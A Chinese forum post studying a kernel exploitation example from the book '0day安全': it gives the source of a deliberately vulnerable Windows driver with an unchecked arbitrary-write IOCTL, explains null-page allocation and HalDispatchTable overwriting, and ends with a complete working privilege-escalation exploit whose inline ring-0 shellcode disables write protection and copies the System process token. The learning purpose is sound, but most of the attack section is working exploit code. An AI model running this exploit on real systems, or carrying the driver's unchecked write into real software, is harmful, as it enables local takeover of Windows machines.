一.前言
本文是对0day安全这本书中,关于内核漏洞的入门的例子的学习分享。
二.漏洞程序
下面这段是对作者所说的具有的漏洞的驱动代码,不过我对它进行了一些修改,可以更容易看懂
#include <ntifs.h>
#define DEVICE_NAME L"\\Device\\ExploitMe"
#define DEVICE_LINK L"\\DosDevices\\ExploitMeLink"
#define IOCTRL_BASE 0x800
#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS) // 读写方式是其他类型
#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0)
VOID DriverUnload(IN PDRIVER_OBJECT driverObject);
NTSTATUS DispatchCommon(PDEVICE_OBJECT pObj, PIRP pIrp);
NTSTATUS DispatchIoCtrl(PDEVICE_OBJECT pObj, PIRP pIrp);
NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath)
{
NTSTATUS status = STATUS_SUCCESS;
PDEVICE_OBJECT pDeviceObj = NULL;
UNICODE_STRING uDeviceName = RTL_CONSTANT_STRING(DEVICE_NAME);
UNICODE_STRING uSymbolinkName = RTL_CONSTANT_STRING(DEVICE_LINK);
ULONG i = 0;
// 创建设备
status = IoCreateDevice(driverObject,
NULL,
&uDeviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&pDeviceObj);
if (!NT_SUCCESS(status))
{
DbgPrint("IoCreateDevice Error 0x%X\r\n", status);
goto exit;
}
// 设置数据交互方式
// pDeviceObj->Flags |= DO_BUFFERED_IO; // 缓冲区方式读写
// pDeviceObj->Flags |= DO_DIRECT_IO; // 直接方式读写
// 创建符号链接
status = IoCreateSymbolicLink(&uSymbolinkName, &uDeviceName);
if (!NT_SUCCESS(status))
{
DbgPrint("IoCreateSymbolicLink Error 0x%X\r\n", status);
goto exit;
}
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
driverObject->MajorFunction[i] = DispatchCommon;
}
driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoCtrl;
DbgPrint("驱动加载成功\r\n");
exit:
driverObject->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
NTSTATUS DispatchIoCtrl(PDEVICE_OBJECT pObj, PIRP pIrp)
{
NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;
PIO_STACK_LOCATION pIoStack = NULL;
ULONG uIoControlCode = 0, uInformation = 0, uInputLength = 0, uOutputLength = 0;
PVOID pInputBuffer = NULL, pOutputBuffer = NULL;
// 获取设备栈
pIoStack = IoGetCurrentIrpStackLocation(pIrp);
// 获取输入缓冲区长度与输入缓冲区
uInputLength = pIoStack->Parameters.DeviceIoControl.InputBufferLength;
pInputBuffer = pIoStack->Parameters.DeviceIoControl.Type3InputBuffer;
// 获取输出缓冲区长度与输出缓冲区
uOutputLength = pIoStack->Parameters.DeviceIoControl.OutputBufferLength;
pOutputBuffer = pIrp->UserBuffer;
// 获取控制码
uIoControlCode = pIoStack->Parameters.DeviceIoControl.IoControlCode;
// 根据控制码执行操作
switch(uIoControlCode)
{
case CTL_EXPLOIT_ME:
{
DbgPrint("CTL_EXPLOIT_ME");
if (uInputLength >= 4 && uOutputLength >= 4)
{
// 将输入地址中的内容赋值到输出地址中
*(PULONG)pOutputBuffer = *(PULONG)pInputBuffer;
uInformation = sizeof(ULONG);
status = STATUS_SUCCESS;
}
break;
}
default:
{
break;
}
}
pIrp->IoStatus.Information = uInformation;
pIrp->IoStatus.Status = status;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS DispatchCommon(PDEVICE_OBJECT pObj, PIRP pIrp)
{
pIrp->IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = 0;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
VOID DriverUnload(IN PDRIVER_OBJECT driverObject)
{
UNICODE_STRING uSymbolLinkName = RTL_CONSTANT_STRING(DEVICE_LINK);
if (driverObject->DeviceObject)
{
IoDeleteSymbolicLink(&uSymbolLinkName);
IoDeleteDevice(driverObject->DeviceObject);
}
DbgPrint("驱动卸载完成\r\n");
}
这段驱动代码有以下两个特点
没有指定设备的数据交互方式,此时用户层和这个驱动的交互就会是METHOD_NEITHER。而这种方式会对用户层传入的输入输出的地址不会进行处理,直接进行更改。
在对应的控制码的操作中,程序只是判断输入输出的长度是否大于等于4。并没有判断输入输出的地址是否是合法的,地址中的内容是否是可以随意更改的,直接就将输入地址中的内容赋值到了输出地址中。
接下来通过一个正常的示例来看看这段驱动的作用
#include <cstdio>
#include <cstdlib>
#include <windows.h>
#define LINK_NAME "\\\\.\\ExploitMeLink"
#define IOCTRL_BASE 0x800
#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS) // 读写方式是其他类型
#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0)
#define INPUT_BUFFER_LENGTH 4
#define OUT_BUFFER_LENGTH 4
void ShowError(PCHAR msg);
int main()
{
HANDLE hDevice = NULL;
DWORD dwInput = 1900;
DWORD dwOutput = 0;
DWORD dwReturnLength = 0;
hDevice = CreateFile(LINK_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if (hDevice == INVALID_HANDLE_VALUE)
{
ShowError("CreateFile");
goto exit;
}
printf("修改前的dwOutput:%d\n", dwOutput);
if (!DeviceIoControl(hDevice,
CTL_EXPLOIT_ME,
&dwInput,
INPUT_BUFFER_LENGTH,
&dwOutput,
OUT_BUFFER_LENGTH,
&dwReturnLength,
NULL))
{
ShowError("DeviceIoControl");
goto exit;
}
printf("修改后的dwOutput:%d\n", dwOutput);
exit:
system("pause");
return 0;
}
void ShowError(PCHAR msg)
{
printf("%s Error %d\n", msg, GetLastError());
}
在这段代码中,将合法的输入输出地址也就是dwInput和dwOutput传给了驱动。那么在驱动中,就会将dwInput中的内容赋值到dwOutput中。
可以看到,驱动成功的将输出地址中保存的内容赋值到输入地址中。但是由于没有对地址的合法性进行检查,所以如果可以知道保存了系统函数的地址,就可以直接修改这个地址中保存的数据。这样,当程序再次调用这个函数的时候,就会调用我们写入的地址。这个手法和IAT Hook的的原理是一样的,感兴趣的话可以看看这篇Win PE系列之导入表解析与IAT Hook技术。
作者给出的例子是,修改HAL_DISPATCH结构体中的HalQuerySuystemInformation的入口地址,将它改为0地址。这样程序在调用这个函数的时候,就会调用0地址中保存的指令。而我们可以在0地址申请一段内存,并写入想要执行的指令,这样就达到了执行想要的指令的目的。
那么要完成上面的内容,就要以下三个步骤:
在0地址申请内存并写入要执行的指令
找到保存HalQuerySystemInformation函数地址的地址,并通过驱动将函数地址改为0地址
调用HalQuerySystemInformation函数
接下来将对这三个步骤进行一一讲解。
三.漏洞利用
1.在0地址申请内存,并写入要执行的指令
在这里,申请内存使用的内核API是ZwAllocateVirtualMemory,该函数的定义如下
NTSTATUS
NtAllocateVirtualMemory(
__in HANDLE ProcessHandle,
__inout PVOID *BaseAddress,
__in ULONG_PTR ZeroBits,
__inout PSIZE_T RegionSize,
__in ULONG AllocationType,
__in ULONG Protect );
参数 | 含义 |
ProcessHandle | 要申请内存的进程句柄。使用NtCurrentProcess宏来指定当前进程 |
BaseAddress | 期望内存基址指针。非0时,系统将计算此值得页对齐地址,尝试按照此地址块申请内存。当该值等于0时,系统将寻找第一个未使用得内存块。当函数调用成功时,此参数将接收实际得基址 |
ZeroBits | 基址最高位为0得数量。当该值为0,此值将被忽略。 |
RegionSize | 期望大小。系统计算实际基址与该值得页对齐边界,以实际分配大小。当函数调用成功时,此参数将接收实际分配得大小 |
AllocationType | 指定要分配的页类型 |
Protect | 申请的页属性,这里选择PAGE_EXECUTE_READWRITE,也就是可读可写可执行 |
由参数的含义可以知道,要申请0地址的内存是不可以通过直接将BaseAddress指定为0的方式来实现。因为你将它指定为0,那么就会有系统来决定分配内存的区域。想要在0地址分配内存,需要用到MEM_TOP_DOWN这个页类型,也就是第五个参数要包含MEM_TOP_DOWN这个页类型。该类型的含义是将从尽可能高得地址分配内存。当第二个参数指定为一个比较小得数,比如1或者4这种,而第五个参数又带有MEM_TOP_DOWN标志。那么根据页对齐,此时会向上对齐,返回得BaseAddress就会是0且RegionSize将会是两个页的大小。
2.找到函数HalQuerySystemInformation函数地址的保存地址
要找到这个函数的保存地址,需要找到HalDispatchTable。该值是一个HAL_DISPATCH结构体遍历,首先看看HAL_DISPATCH结构体的定义
typedef struct {
ULONG Version;
pHalQuerySystemInformation HalQuerySystemInformation;
pHalSetSystemInformation HalSetSystemInformation;
pHalQueryBusSlots HalQueryBusSlots;
ULONG Spare1;
pHalExamineMBR HalExamineMBR;
pHalIoReadPartitionTable HalIoReadPartitionTable;
pHalIoSetPartitionInformation HalIoSetPartitionInformation;
pHalIoWritePartitionTable HalIoWritePartitionTable;
pHalHandlerForBus HalReferenceHandlerForBus;
pHalReferenceBusHandler HalReferenceBusHandler;
pHalReferenceBusHandler HalDereferenceBusHandler;
pHalInitPnpDriver HalInitPnpDriver;
pHalInitPowerManagement HalInitPowerManagement;
pHalGetDmaAdapter HalGetDmaAdapter;
pHalGetInterruptTranslator HalGetInterruptTranslator;
pHalStartMirroring HalStartMirroring;
pHalEndMirroring HalEndMirroring;
pHalMirrorPhysicalMemory HalMirrorPhysicalMemory;
pHalEndOfBoot HalEndOfBoot;
pHalMirrorVerify HalMirrorVerify;
pHalGetAcpiTable HalGetCachedAcpiTable;
pHalSetPciErrorHandlerCallback HalSetPciErrorHandlerCallback;
#if defined(_IA64_)
pHalGetErrorCapList HalGetErrorCapList;
pHalInjectError HalInjectError;
#endif
} HAL_DISPATCH, *PHAL_DISPATCH;
根据改结构体的定义,可以看到HalQuerySystemInformation函数就保存在HAL_DISPATCH结构体偏移为0x04的地址。而HalDispatchTable是从内核模块中导出的,所以要就需要找到内核模块在内存中的基地址,再根据偏移得到HalDispatchTable的VA。而要找到内核模块的基地址就需要用到ZwQuerySystemInformation这个API。该函数的定义如下
NTSTATUS WINAPI ZwQuerySystemInformation(
__in SYSTEM_INFORMATION_CLASS SystemInformationClass,
__inout PVOID SystemInformation,
__in ULONG SystemInformationLength,
__out_opt PULONG ReturnLength);
参数 | 含义 |
SystemInformationClass | 要检索的类型。是一个SYSTEM_INFORMATION_CLASS的联合体 |
SystemInformation | 指向缓冲区的指针,用于接收请求信息。该信息的大小和结构取决于SystemInformationClass |
SystemInformationLength | SystemInformation参数指向的缓冲区的大小 |
ReturnLength | 指向函数写入所请求信息的实际大小的位置的可选指针。如果该大小小于或等于SystemInformationLength参数,则函数将信息复制到SystemInformation缓冲区中;否则,它将返回NTSTATUS错误代码,并以ReturnLength的形式返回接收请求信息所需的缓冲区大小。 |
而SYSTEM_INFORMATION_CLASS,在文档中的部分内容如下
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemInformationClassMin = 0,
SystemBasicInformation = 0,
SystemProcessInformation = 5,
SystemProcessesAndThreadsInformation = 5,
SystemModuleInformation = 11,
SystemExceptionInformation = 33,
SystemKernelDebuggerInformation = 35,
} SYSTEM_INFORMATION_CLASS;
当该值指定的是SystemModuleInformation(11)的时候,SystemInformation返回的就是SYSTEM_MODULE_INFORMATION的指针。改结构体的定义如下
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
ULONG Unknown1;
ULONG Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
/* Length of module name not including the path, this
field contains valid value only for NTOSKRNL module */
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
可以看到SYSTEM_MODULE_INFORMATION中保存了SYSTEM_MODULE_INFORMATION_ENTRY的数组。数组中的每一个元数都保存了一个模块的信息,其中的Base保存模块的加载地址,ImageName保存了模块的名称。而本次查询一共有多少个SYSTEM_MODULE_INFORMATION的数组则保存在Count中。
由于,一开始并不知道要申请多大的内存才可以保存这些数据。所以,需要调用两次函数,第一次调用的目的就是通过将第三个参数传入0来获得需要使用的内存大小。
查询到的内核模块中的第一个就是要使用的内核模块。这样就可以获得这个内核模块的名称,接下来就需要使用LdrLoadDll来将内核模块导入,该函数的定义如下
#define IMP_SYSCALL __declspec(dllimport) NTSTATUS __stdcall
IMP_SYSCALL
LdrLoadDll(IN PWSTR DllPath OPTIONAL,
IN PULONG DllCharacteristics OPTIONAL,
IN PUNICODE_STRING DllName,
OUT PVOID *DllHandle);
参数 | 含义 |
DllPath | 可选,指定要加载的DLL的路径 |
DllCharacteristics | 可选,指向要加载的DLL的属性 |
DllName | 指向要加载的DLL的名称 |
DllHandle | 用来接收得到的DLL的句柄
|
通过这个函数就可以将模块加载到内存中算出HalDispatchTable的偏移,在使用上面得到的ImageBase就可以计算机HalDispatchTable在内核中的具体位置,接下来就通过IO控制码发送消息给驱动完成修改。
3.调用HalQuerySystemInformation函数
要调用这个函数,只需要调用NtQueryIntervalProfile函数的时候,它的第一个参数传入的不等于ProfileTime和ProfileAlignmentFixup就好
四.ShellCode的提权原理
首先要知道0xFFDFF000这个地址保存的是_KPCR,该结构体的定义如下
kd> dt _KPCR
nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x01c SelfPcr : Ptr32 _KPCR
+0x020 Prcb : Ptr32 _KPRCB
+0x024 Irql : UChar
+0x028 IRR : Uint4B
+0x02c IrrActive : Uint4B
+0x030 IDR : Uint4B
+0x034 KdVersionBlock : Ptr32 Void
+0x038 IDT : Ptr32 _KIDTENTRY
+0x03c GDT : Ptr32 _KGDTENTRY
+0x040 TSS : Ptr32 _KTSS
+0x044 MajorVersion : Uint2B
+0x046 MinorVersion : Uint2B
+0x048 SetMember : Uint4B
+0x04c StallScaleFactor : Uint4B
+0x050 DebugActive : UChar
+0x051 Number : UChar
+0x052 Spare0 : UChar
+0x053 SecondLevelCacheAssociativity : UChar
+0x054 VdmAlert : Uint4B
+0x058 KernelReserved : [14] Uint4B
+0x090 SecondLevelCacheSize : Uint4B
+0x094 HalReserved : [16] Uint4B
+0x0d4 InterruptMode : Uint4B
+0x0d8 Spare1 : UChar
+0x0dc KernelReserved2 : [17] Uint4B
+0x120 PrcbData : _KPRCB
该结构体偏移0x120处保存的是_KPCB结构体,该结构体的部分定义如下
kd> dt _KPRCB
ntdll!_KPRCB
+0x000 MinorVersion : Uint2B
+0x002 MajorVersion : Uint2B
+0x004 CurrentThread : Ptr32 _KTHREAD
+0x008 NextThread : Ptr32 _KTHREAD
+0x00c IdleThread : Ptr32 _KTHREAD
+0x010 Number : Char
据此可以知道0xFFDFF124保存的是当前线程的_KTHREAD,而_KTHREAD又是_ETHREAD结构体中的第一个成员,所以0xFFDFF124保存的其实是当前_ETHREAD结构体。_ETHREAD结构体中保存的内容如下
kd> dt _ETHREAD
ntdll!_ETHREAD
+0x000 Tcb : _KTHREAD
+0x1c0 CreateTime : _LARGE_INTEGER
+0x1c0 NestedFaultCount : Pos 0, 2 Bits
+0x1c0 ApcNeeded : Pos 2, 1 Bit
+0x1c8 ExitTime : _LARGE_INTEGER
+0x1c8 LpcReplyChain : _LIST_ENTRY
+0x1c8 KeyedWaitChain : _LIST_ENTRY
+0x1d0 ExitStatus : Int4B
+0x1d0 OfsChain : Ptr32 Void
+0x1d4 PostBlockList : _LIST_ENTRY
+0x1dc TerminationPort : Ptr32 _TERMINATION_PORT
+0x1dc ReaperLink : Ptr32 _ETHREAD
+0x1dc KeyedWaitValue : Ptr32 Void
+0x1e0 ActiveTimerListLock : Uint4B
+0x1e4 ActiveTimerListHead : _LIST_ENTRY
+0x1ec Cid : _CLIENT_ID
+0x1f4 LpcReplySemaphore : _KSEMAPHORE
+0x1f4 KeyedWaitSemaphore : _KSEMAPHORE
+0x208 LpcReplyMessage : Ptr32 Void
+0x208 LpcWaitingOnPort : Ptr32 Void
+0x20c ImpersonationInfo : Ptr32 _PS_IMPERSONATION_INFORMATION
+0x210 IrpList : _LIST_ENTRY
+0x218 TopLevelIrp : Uint4B
+0x21c DeviceToVerify : Ptr32 _DEVICE_OBJECT
+0x220 ThreadsProcess : Ptr32 _EPROCESS
+0x224 StartAddress : Ptr32 Void
+0x228 Win32StartAddress : Ptr32 Void
可以看到_ETHREAD偏移0x220的地址,保存的是线程对应的_EPROCESS结构体,该结构体的部分成员如下
kd> dt _EPROCESS
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x06c ProcessLock : _EX_PUSH_LOCK
+0x070 CreateTime : _LARGE_INTEGER
+0x078 ExitTime : _LARGE_INTEGER
+0x080 RundownProtect : _EX_RUNDOWN_REF
+0x084 UniqueProcessId : Ptr32 Void
+0x088 ActiveProcessLinks : _LIST_ENTRY
+0x090 QuotaUsage : [3] Uint4B
+0x09c QuotaPeak : [3] Uint4B
+0x0a8 CommitCharge : Uint4B
+0x0ac PeakVirtualSize : Uint4B
+0x0b0 VirtualSize : Uint4B
+0x0b4 SessionProcessLinks : _LIST_ENTRY
+0x0bc DebugPort : Ptr32 Void
+0x0c0 ExceptionPort : Ptr32 Void
+0x0c4 ObjectTable : Ptr32 _HANDLE_TABLE
+0x0c8 Token : _EX_FAST_REF
+0x0cc WorkingSetLock : _FAST_MUTEX
其中需要注意的三个成员是
偏移 | 成员 | 含义 |
0x84 | UniqueProcessId | 进程PID |
0x88 | ActiveProcessLinks | 双向链表可以用来遍历进程
|
0xC8 | Token | 保存了进程的令牌 |
所以作者给的ShellCode的提权办法是通过0x88这个成员来遍历所有的进程,去寻找System。因为System进程的PID都是等于4,如下图所示,所以通过判断0x84保存的进程PID是否是4来判断是否找到了System进程。随后将System进程的Token赋值给本进程这就完成了提权。如果对这个遍历进程的原理不太清楚的可以看下这一篇文章,下面有关于这种进程遍历原理的描述进程隐藏技术。
五.运行结果
完整的完成漏洞利用达到提权的代码如下
// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <cstdio>
#include <cstdlib>
#include <windows.h>
#include "ntapi.h"
#pragma comment(linker, "/defaultlib:ntdll.lib")
#define LINK_NAME "\\\\.\\ExploitMeLink"
#define IOCTRL_BASE 0x800
#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_NEITHER, FILE_ANY_ACCESS) // 读写方式是其他类型
#define CTL_EXPLOIT_ME MYIOCTRL_CODE(0)
#define INPUT_BUFFER_LENGTH 4
#define OUT_BUFFER_LENGTH 4
#define PAGE_SIZE 0x1000
#define KERNEL_NAME_LENGTH 0X0D
void ShowError(PCHAR msg, NTSTATUS status);
NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength);
BOOL g_bIsExecute = FALSE;
int main()
{
NTSTATUS status = STATUS_SUCCESS;
HANDLE hDevice = NULL;
DWORD dwReturnLength = 0, ShellCodeSize = PAGE_SIZE;
PVOID ShellCodeAddress = NULL;
PSYSTEM_MODULE_INFORMATION pModuleInformation = NULL;
DWORD dwImageBase = 0;
PVOID pMappedBase = NULL;
UCHAR szImageName[KERNEL_NAME_LENGTH] = { 0 };
UNICODE_STRING uDllName;
PVOID pHalDispatchTable = NULL, pXHalQuerySystemInformation = NULL;
DWORD dwDllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
// 获得0地址的内存
ShellCodeAddress = (PVOID)sizeof(ULONG);
status = NtAllocateVirtualMemory(NtCurrentProcess(),
&ShellCodeAddress,
0,
&ShellCodeSize,
MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (!NT_SUCCESS(status))
{
printf("NtAllocateVirtualMemory Error 0x%X\n", status);
goto exit;
}
// 将ShellCode写到申请的0地址空间中
RtlMoveMemory(ShellCodeAddress, (PVOID)Ring0ShellCode, ShellCodeSize);
// 此时dwReturnLength是0,所以函数会由于长度为0执行失败
// 然后系统会在第四个参数指定的地址保存需要的内存大小
status = ZwQuerySystemInformation(SystemModuleInformation,
pModuleInformation,
dwReturnLength,
&dwReturnLength);
if (status != STATUS_INFO_LENGTH_MISMATCH)
{
ShowError("ZwQuerySystemInformation", status);
goto exit;
}
// 按页大小对齐
dwReturnLength = (dwReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);
pModuleInformation = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL,
dwReturnLength,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (!pModuleInformation)
{
printf("VirtualAlloc Error");
goto exit;
}
status = ZwQuerySystemInformation(SystemModuleInformation,
pModuleInformation,
dwReturnLength,
&dwReturnLength);
if (!NT_SUCCESS(status))
{
ShowError("ZwQuerySystemInformation", status);
goto exit;
}
// 模块加载的基地址
dwImageBase = (DWORD)(pModuleInformation->Module[0].Base);
// 获取模块名
RtlMoveMemory(szImageName,
(PVOID)(pModuleInformation->Module[0].ImageName + pModuleInformation->Module[0].PathLength),
KERNEL_NAME_LENGTH);
// 转换为UNICODE_STRING类型
RtlCreateUnicodeStringFromAsciiz(&uDllName, (PUCHAR)szImageName);
status = (NTSTATUS)LdrLoadDll(NULL,
&dwDllCharacteristics,
&uDllName,
&pMappedBase);
if (!NT_SUCCESS(status))
{
ShowError("LdrLoadDll", status);
goto exit;
}
// 获取内核HalDispatchTable函数表地址
pHalDispatchTable = GetProcAddress((HMODULE)pMappedBase, "HalDispatchTable");
if (pHalDispatchTable == NULL)
{
printf("GetProcAddress Error\n");
goto exit;
}
pHalDispatchTable = (PVOID)((DWORD)pHalDispatchTable - (DWORD)pMappedBase + dwImageBase);
pXHalQuerySystemInformation = (PVOID)((DWORD)pHalDispatchTable + sizeof(ULONG));
// 打开驱动设备
hDevice = CreateFile(LINK_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("CreateFile Error");
goto exit;
}
DWORD dwInput = 0;
// 与驱动设备进行交互
if (!DeviceIoControl(hDevice,
CTL_EXPLOIT_ME,
&dwInput,
INPUT_BUFFER_LENGTH,
pXHalQuerySystemInformation,
OUT_BUFFER_LENGTH,
&dwReturnLength,
NULL))
{
printf("DeviceIoControl Error");
goto exit;
}
status = NtQueryIntervalProfile(ProfileTotalIssues, NULL);
if (!NT_SUCCESS(status))
{
ShowError("NtQueryIntervalProfile", status);
goto exit;
}
if (g_bIsExecute) printf("Ring0 代码执行完成\n");
exit:
if (pModuleInformation) VirtualFree(pModuleInformation, dwReturnLength, MEM_DECOMMIT | MEM_RELEASE);
if (hDevice) NtClose(hDevice);
if (pMappedBase) LdrUnloadDll(pMappedBase);
system("pause");
return 0;
}
NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength)
{
// 关闭页保护
__asm
{
cli
mov eax, cr0
and eax, ~0x10000
mov cr0, eax
}
__asm
{
// 取当前线程
mov eax, 0xFFDFF124
mov eax, [eax]
// 取线程对应的EPROCESS
mov esi, [eax + 0x220]
mov eax, esi
searchXp:
mov eax, [eax + 0x88]
sub eax, 0x88
mov edx, [eax + 0x84]
cmp edx, 0x4
jne searchXp
mov eax, [eax + 0xC8]
mov [esi + 0xC8], eax
}
// 开起页保护
__asm
{
mov eax, cr0
or eax, 0x10000
mov cr0, eax
sti
}
g_bIsExecute = TRUE;
}
void ShowError(PCHAR msg, NTSTATUS status)
{
printf("%s Error 0x%X\n", msg, status);
}
可以看到,最终程序成功获得了System的权限
[培训]《安卓高级研修班(网课)》月薪三万计划
最后于 2022-5-19 11:44
被1900编辑
,原因: